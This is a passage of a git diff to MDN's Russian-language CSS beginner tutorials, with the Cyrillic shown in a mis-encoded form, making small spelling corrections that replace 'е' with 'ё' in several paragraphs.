<dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/%D0%9A%D0%B0%D0%BA_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD_CSS">Как структурирован CSS</a></dt>
<dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ CSS ΠΈ ΠΊΠ°ΠΊ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΠ³Π»ΡƒΠ±ΠΈΡ‚ΡŒΡΡ Π² структуру самого языка. ΠœΡ‹ ΡƒΠΆΠ΅ встрСчали мноТСство ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ, обсуТдаСмых здСсь; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ этому, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ, Ссли Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌΠΈ.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/How_CSS_works">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS</a></dt>
<dd>ΠœΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ основы CSS β€” для Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π½ΡƒΠΆΠ΅Π½ ΠΈ ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ простыС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй. Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±Π΅Ρ€Π΅Ρ‚ CSS ΠΈ HTML ΠΈ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΡ… Π² Π²Π΅Π±-страницу.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">ИспользованиС Π²Π°ΡˆΠΈΡ… Π½ΠΎΠ²Ρ‹Ρ…Β Π·Π½Π°Π½ΠΈΠΉ</a></dt>
- <dd>Π‘ ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ·Π½Π°Π»ΠΈ Π·Π° послСдниС нСсколько ΡƒΡ€ΠΎΠΊΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ простыС тСкстовыС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с использованиСм CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ свой собствСнный ΡΡ‚ΠΈΠ»ΡŒ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ шанс ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это.</dd>
+ <dd>Π‘ ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ·Π½Π°Π»ΠΈ Π·Π° послСдниС нСсколько ΡƒΡ€ΠΎΠΊΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ простыС тСкстовыС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с использованиСм CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ свой собствСнный ΡΡ‚ΠΈΠ»ΡŒ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ шанс ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это.</dd>
</dl>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html b/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html
index 977b1ddd39..41873a7a60 100644
--- a/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html
+++ b/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html
@@ -13,7 +13,7 @@ translation_of: Learn/CSS/First_steps/Using_your_new_knowledge
<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
<dl>
- <dd>Π‘ ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ³ΠΎΒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ·Π½Π°Π»ΠΈ Π·Π° послСдниС нСсколько ΡƒΡ€ΠΎΠΊΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ простыС тСкстовыС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с использованиСм CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ свой собствСнный ΡΡ‚ΠΈΠ»ΡŒ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это.</dd>
+ <dd>Π‘ ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ³ΠΎΒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ·Π½Π°Π»ΠΈ Π·Π° послСдниС нСсколько ΡƒΡ€ΠΎΠΊΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ простыС тСкстовыС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с использованиСм CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ свой собствСнный ΡΡ‚ΠΈΠ»ΡŒ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это.</dd>
</dl>
<table class="learn-box standard-table">
diff --git a/files/ru/learn/css/first_steps/what_is_css/index.html b/files/ru/learn/css/first_steps/what_is_css/index.html
index 9a0e8a65d6..d2dc14cce2 100644
--- a/files/ru/learn/css/first_steps/what_is_css/index.html
+++ b/files/ru/learn/css/first_steps/what_is_css/index.html
@@ -32,7 +32,7 @@ original_slug: Learn/CSS/First_steps/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_CSS
</tbody>
</table>
-<p>Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅Β <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">ΠžΡΠ½ΠΎΠ²Ρ‹Β HTML</a>Β ΠΌΡ‹ рассмотрСли, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ HTML ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π­Ρ‚ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ доступны для чтСния Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π°Π±Π·Π°Ρ†Ρ‹ Ρ€Π°Π·Π±ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Бсылки Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ тСкста. Π’ΠΎ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, β€” это стили Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ β€” самыС основныС стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ примСняСт ΠΊ HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π² основном Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли Π°Π²Ρ‚ΠΎΡ€ страницы Π½Π΅ ΡƒΠΊΠ°Π·Π°Π» явный ΡΡ‚ΠΈΠ»ΡŒ.</p>
+<p>Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅Β <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">ΠžΡΠ½ΠΎΠ²Ρ‹Β HTML</a>Β ΠΌΡ‹ рассмотрСли, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ HTML ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π­Ρ‚ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ доступны для чтСния Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π°Π±Π·Π°Ρ†Ρ‹ Ρ€Π°Π·Π±ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Бсылки Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ тСкста. Π’ΠΎ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, β€” это стили Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ β€” самыС основныС стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ примСняСт ΠΊ HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π² основном Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли Π°Π²Ρ‚ΠΎΡ€ страницы Π½Π΅ ΡƒΠΊΠ°Π·Π°Π» явный ΡΡ‚ΠΈΠ»ΡŒ.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/17072/Basic_styling__ru.png" style="border: 1px solid #cccccc; height: 678px; width: 1385px;"></p>
@@ -42,7 +42,7 @@ original_slug: Learn/CSS/First_steps/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_CSS
<p>Как ΠΌΡ‹ ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅, CSS β€” это язык для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ β€” ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΎΡ„ΠΎΡ€ΠΌΠ»ΡΡŽΡ‚ΡΡ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ ΠΈ Ρ‚.Β Π΄.</p>
-<p><strong>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚</strong> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставляСт собой тСкстовый Ρ„Π°ΠΉΠ», структурированный с использованиСм языка Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ: {{Glossary("HTML")}} β€” самый распространСнный язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π½ΠΎ Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{Glossary("SVG")}} ΠΈΠ»ΠΈ {{Glossary("XML")}}.</p>
+<p><strong>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚</strong> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставляСт собой тСкстовый Ρ„Π°ΠΉΠ», структурированный с использованиСм языка Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ: {{Glossary("HTML")}} β€” самый распространённый язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π½ΠΎ Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{Glossary("SVG")}} ΠΈΠ»ΠΈ {{Glossary("XML")}}.</p>
<p><strong>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅</strong> Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π΅Π³ΠΎ Π² Ρ„ΠΎΡ€ΠΌΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡƒΡŽ Π’Π°ΡˆΠ΅ΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠ΅ΠΉ<strong>.</strong> {{Glossary("browser","Browsers")}}, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}} ΠΈΠ»ΠΈ {{Glossary("Microsoft Edge","Edge")}} , ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ прСдставлСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° экранС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΡ€Π° ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ½Ρ‚Π΅Ρ€Π°.</p>
@@ -90,21 +90,21 @@ p {
<h2 id="CSS-ΠΌΠΎΠ΄ΡƒΠ»ΠΈ">CSS-ΠΌΠΎΠ΄ΡƒΠ»ΠΈ</h2>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ сущСствуСт мноТСство Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, язык Ρ€Π°Π·Π±ΠΈΡ‚ Π½Π° ΠΌΠΎΠ΄ΡƒΠ»ΠΈ. По ΠΌΠ΅Ρ€Π΅ изучСния MDN Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ссылки Π½Π° эти ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, Π° ΠΌΠ½ΠΎΠ³ΠΈΠ΅ страницы Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ модуля. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° ссылку MDN Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">Бвойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ²Π° Π΅Π³ΠΎ Ρ†Π΅Π»ΡŒ ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ½ содСрТит. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ссылки Π½Π° ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ CSS, которая опрСдСляСт Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ (см. Π½ΠΈΠΆΠ΅).</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ сущСствуСт мноТСство Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, язык Ρ€Π°Π·Π±ΠΈΡ‚ Π½Π° ΠΌΠΎΠ΄ΡƒΠ»ΠΈ. По ΠΌΠ΅Ρ€Π΅ изучСния MDN Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ссылки Π½Π° эти ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, Π° ΠΌΠ½ΠΎΠ³ΠΈΠ΅ страницы Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ модуля. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° ссылку MDN Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">Бвойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ²Π° Π΅Π³ΠΎ Ρ†Π΅Π»ΡŒ ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ½ содСрТит. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ссылки Π½Π° ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ CSS, которая опрСдСляСт Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ (см. Π½ΠΈΠΆΠ΅).</p>
<p>На этом этапС Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ слишком Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ структурирован CSS, ΠΎΠ΄Π½Π°ΠΊΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ поиск ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ссли, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ срСди Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΈ поэтому, вСроятно, Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ спСцификации.</p>
-<p>Для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ вСрнСмся ΠΊ ΠΌΠΎΠ΄ΡƒΠ»ΡŽ Бвойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Β β€” Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ для свойств <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code>Β ΠΈΒ <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅. И Π’Ρ‹Β ΠΏΡ€Π°Π²Ρ‹.</p>
